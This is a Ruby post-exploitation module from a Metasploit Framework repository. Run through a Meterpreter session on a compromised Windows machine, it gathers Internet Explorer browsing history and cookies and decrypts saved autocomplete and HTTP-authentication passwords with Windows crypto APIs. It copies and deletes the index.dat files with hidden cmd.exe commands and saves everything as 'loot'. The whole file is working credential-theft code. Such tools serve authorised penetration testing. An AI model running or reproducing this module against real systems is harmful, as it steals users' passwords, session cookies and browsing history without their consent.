Files
metasploit-gs/modules/post/windows/gather/enum_ie.rb
T
Michael Schierl 21f6127e29 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 20:33:01 +02:00

418 lines
12 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info={})
super(update_info(info,
'Name' => "Windows Gather Internet Explorer User Data Enumeration",
'Description' => %q{
This module will collect history, cookies, and credentials (from either HTTP
auth passwords, or saved form passwords found in auto-complete) in
Internet Explorer. The ability to gather credentials is only supported
for versions of IE >=7, while history and cookies can be extracted for all
versions.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499']
))
end
#
# RAILGUN HELPER FUNCTIONS
#
def is_86
pid = session.sys.process.open.pid
return session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
end
def pack_add(data)
if is_86
addr = [data].pack("V")
else
addr = [data].pack("Q")
end
return addr
end
def mem_write(data, length)
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(length)
process.memory.write(mem, data)
return mem
end
def read_str(address,len,type)
begin
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
raw = process.memory.read(address, len)
if type == 0 #unicode
str_data = raw.gsub("\x00","")
elsif type == 1 #null terminated
str_data = raw.unpack("Z*")[0]
elsif type == 2 #raw data
str_data = raw
end
rescue
str_data = nil
end
return str_data || "Error Decrypting"
end
#
# DECRYPT FUNCTIONS
#
def decrypt_reg(entropy,data)
c32 = session.railgun.crypt32
#set up entropy
salt = []
entropy.each_byte do |c|
salt << c
end
ent = salt.pack("s*")
#save values to memory and pack addresses
mem = mem_write(data, 1024)
mem2 = mem_write(ent, 1024)
addr = pack_add(mem)
len = pack_add(data.length)
eaddr = pack_add(mem2)
elen = pack_add((entropy.length + 1)*2)
#cal railgun to decrypt
if is_86
ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,1,8)
len,add = ret["pDataOut"].unpack("V2")
else
ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,1,16)
len,add = ret["pDataOut"].unpack("Q2")
end
return "" unless ret["return"]
return read_str(add, len, 2)
end
def decrypt_cred(daddr, dlen)
c32 = session.railgun.crypt32
#set up entropy
guid = "abe2869f-9b47-4cd9-a358-c22904dba7f7"
ent_sz = 74
salt = []
guid.each_byte do |c|
salt << c*4
end
ent = salt.pack("s*")
#write entropy to memory and pack addresses
mem = mem_write(ent,1024)
addr = pack_add(daddr)
len = pack_add(dlen)
eaddr = pack_add(mem)
elen = pack_add(ent_sz)
#prep vars and call function
if is_86
ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,0,8)
len,add = ret["pDataOut"].unpack("V2")
else
ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,0,16)
len,add = ret["pDataOut"].unpack("Q2")
end
#get data, and return it
return "" unless ret["return"]
return read_str(add, len, 0)
end
#
# Extract IE Data Functions
#
def get_stuff(path, history)
t = DateTime.new(1601,1,1,0,0,0)
tmpout = ""
if history
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x56\x69\x73\x69\x74\x65\x64\x3A.*?\x40(.*?)\x00/m
else #get cookies
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x43\x6F\x6F\x6B\x69\x65\x3A(.*?)\x00/m
end
outfile = session.fs.file.new(path, "rb")
until outfile.eof?
tmpout << outfile.read rescue nil
end
outfile.close
urls = tmpout.scan(re)
urls.each do |url|
#date modified
hist = {}
origh = url[0].unpack('H*')[0]
harr = origh.scan(/[0-9A-Fa-f]{2}/).map { |i| i.to_s}
newh = harr.reverse.join
hfloat = newh.hex.to_f
sec = hfloat/10000000
days = sec/86400
timestamp = t + days
hist["dtmod"] = timestamp.to_s
#date accessed
origh = url[1].unpack('H*')[0]
harr = origh.scan(/[0-9A-Fa-f]{2}/).map { |i| i.to_s}
newh = harr.reverse.join
hfloat = newh.hex.to_f
sec = hfloat/10000000
days = sec/86400
timestamp = t + days
hist["dtacc"] = timestamp.to_s
hist["url"] = url[2]
if history
@hist_col << hist
@hist_table << [hist["dtmod"],hist["dtacc"],hist["url"]]
else
@cook_table << [hist["dtmod"],hist["dtacc"],hist["url"]]
end
end
end
def hash_url(url)
rg_advapi = session.railgun.advapi32
tail = 0
prov = "Microsoft Enhanced Cryptographic Provider v1.0"
flag = 0xF0000000
context = rg_advapi.CryptAcquireContextW(4, nil, prov, 1, 0xF0000000)
h = rg_advapi.CryptCreateHash(context['phProv'], 32772, 0, 0, 4)
hdata = rg_advapi.CryptHashData(h['phHash'], url, (url.length + 1)*2, 0)
hparam = rg_advapi.CryptGetHashParam(h['phHash'], 2, 20, 20,0)
hval_arr = hparam["pbData"].unpack("C*")
hval = hparam["pbData"].unpack("H*")[0]
rg_advapi.CryptDestroyHash(h['phHash'])
rg_advapi.CryptReleaseContext(context['phProv'], 0)
tail = hval_arr.inject(0) { |s,v| s += v }
htail = ("%02x" % tail)[-2,2]
return "#{hval}#{htail}"
end
def run
#check for meterpreter and version of ie
if session.type != "meterpreter" and session.platform !~ /win/
print_error("This module only works with Windows Meterpreter sessions")
return 0
end
#get version of ie and check it
ver = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer", "Version")
print_status("IE Version: #{ver}")
if ver =~ /(6\.|5\.)/
print_error("This module will only extract credentials for >= IE7")
end
#setup tables
@hist_table = Rex::Ui::Text::Table.new(
"Header" => "History data",
"Indent" => 1,
"Columns" => ["Date Modified", "Date Accessed", "Url"])
@cook_table = Rex::Ui::Text::Table.new(
"Header" => "Cookies data",
"Indent" => 1,
"Columns" => ["Date Modified", "Date Accessed", "Url"])
cred_table = Rex::Ui::Text::Table.new(
"Header" => "Credential data",
"Indent" => 1,
"Columns" => ["Type", "Url", "User", "Pass"])
#set up vars
rg = session.railgun
host = session.sys.config.sysinfo
@hist_col = []
#set paths
regpath = "HKCU\\Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2"
vist_h = "\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat"
vist_hlow = "\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat"
xp_h = "\\Local Settings\\History\\History.IE5\\index.dat"
vist_c = "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat"
vist_clow = "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat"
xp_c = "\\Cookies\\index.dat"
h_paths = []
c_paths = []
base = session.fs.file.expand_path("%USERPROFILE%")
if host['OS'] =~ /(Windows 7|2008|Vista)/
h_paths << base + vist_h
h_paths << base + vist_hlow
c_paths << base + vist_c
c_paths << base + vist_clow
else
h_paths << base + xp_h
c_paths << base + xp_c
end
#Get history and cookies
print_status("Retrieving history.....")
h_paths.each do |hpath|
if session.fs.file.exists?(hpath)
print_line("\tFile: #{hpath}")
#copy file
cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\""
r = session.sys.process.execute(cmd, nil, {'Hidden' => true})
#loop until cmd is done
#while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
#end
sleep(1)
#get stuff and delete
get_stuff("#{base}\\index.dat", true)
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
session.sys.process.execute(cmd, nil, {'Hidden' => true})
end
end
print_status("Retrieving cookies.....")
c_paths.each do |cpath|
if session.fs.file.exists?(cpath)
print_line("\tFile: #{cpath}")
#copy file
cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\""
r = session.sys.process.execute(cmd, nil, {'Hidden' => true})
#loop until cmd is done
#while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
#end
sleep(1)
#get stuff and delete
get_stuff("#{base}\\index.dat", false)
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
session.sys.process.execute(cmd, nil, {'Hidden' => true})
end
end
#get autocomplete creds
print_status("Looping through history to find autocomplete data....")
val_arr = registry_enumvals(regpath)
if val_arr
@hist_col.each do |hitem|
url = hitem["url"].split('?')[0].downcase
hash = hash_url(url).upcase
if val_arr.include?(hash)
data = registry_getvaldata(regpath, hash)
dec = decrypt_reg(url, data)
#decode data and add to creds array
header = dec.unpack("VVVVVV")
offset = header[0] + header[1] #offset to start of data
cnt = header[5]/2 # of username/password combinations
secrets = dec[offset,dec.length-(offset + 1)].split("\x00\x00")
for i in (0..cnt).step(2)
cred = {}
cred["type"] = "Auto Complete"
cred["url"] = url
cred["user"] = secrets[i].gsub("\x00","")
cred["pass"] = secrets[i+1].gsub("\x00","") unless secrets[i+1].nil?
cred_table << [cred["type"],cred["url"],cred["user"],cred["pass"]]
end
end
end
else
print_error("No autocomplete entries found in registry")
end
#get creds from credential store
print_status("Looking in the Credential Store for HTTP Authentication Creds...")
#get data from credential store
ret = rg.advapi32.CredEnumerateA(nil,0,4,4)
p_to_arr = ret["Credentials"].unpack("V")
arr_len = ret["Count"] * 4 if is_86
arr_len = ret["Count"] * 8 unless is_86
#read array of addresses as pointers to each structure
raw = read_str(p_to_arr[0], arr_len,2)
pcred_array = raw.unpack("V*") if is_86
pcred_array = raw.unpack("Q*") unless is_86
#loop through the addresses and read each credential structure
pcred_array.each do |pcred|
raw = read_str(pcred, 52,2)
cred_struct = raw.unpack("VVVVQVVVVVVV") if is_86
cred_struct = raw.unpack("VVQQQQQVVQQQ") unless is_86
location = read_str(cred_struct[2],512, 1)
if location.include? "Microsoft_WinInet"
decrypted = decrypt_cred(cred_struct[6],cred_struct[5])
cred = {}
cred["type"] = "Credential Store"
cred["url"] = location.gsub("Microsoft_WinInet_", "")
cred["user"] = decrypted.split(':')[0] || "No Data"
cred["pass"] = decrypted.split(':')[1] || "No Data"
cred_table << [cred["type"],cred["url"],cred["user"],cred["pass"]]
end
end
#store data in loot
if not @hist_table.rows.empty?
print_status("Writing history to loot...")
path = store_loot(
'ie.history',
'text/plain',
session,
@hist_table,
'ie_history.txt',
'Internet Explorer Browsing History')
print_status("Data saved in: #{path}")
end
if not @cook_table.rows.empty?
print_status("Writing cookies to loot...")
path = store_loot(
'ie.cookies',
'text/plain',
session,
@cook_table,
'ie_cookies.txt',
'Internet Explorer Cookies')
print_status("Data saved in: #{path}")
end
if not cred_table.rows.empty?
print_status("Writing gathered credentials to loot...")
path = store_loot(
'ie.user.creds',
'text/plain',
session,
cred_table,
'ie_creds.txt',
'Internet Explorer User Credentials')
print_status("Data saved in: #{path}")
#print creds
print_line("")
print_line(cred_table.to_s)
end
end
end